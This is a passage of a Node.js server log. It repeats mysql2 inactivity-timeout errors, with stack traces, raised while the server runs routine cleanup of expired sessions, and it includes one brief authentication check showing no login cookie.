    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 07:54:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 08:11:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 08:11:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 08:22:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 08:22:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 08:34:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 08:34:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 08:43:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 08:43:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 10:10:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 10:10:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 11:14:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 11:14:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 12:41:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 12:41:59' as DATETIME)"
}
2026-01-07T13:14:01.498Z server-connect:router Serving templateView /
2026-01-07T13:14:01.500Z server-connect:app Executing action step identify
2026-01-07T13:14:01.500Z server-connect:app options: { provider: 'security' }
2026-01-07T13:14:01.500Z server-connect:auth No login cookie found
2026-01-07T13:14:01.500Z server-connect:output identity: false
2026-01-07T13:14:01.500Z server-connect:app Executing action step restrict
2026-01-07T13:14:01.500Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-07T13:14:01.501Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 15:05:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 15:05:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 15:35:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 15:35:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 18:07:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 18:07:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 19:00:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 19:00:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 19:42:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 19:42:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 19:53:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 19:53:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 20:08:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 20:08:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 20:16:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 20:16:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 20:35:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 20:35:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 20:51:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 20:51:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 21:20:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-07 21:20:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-07 21:36:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
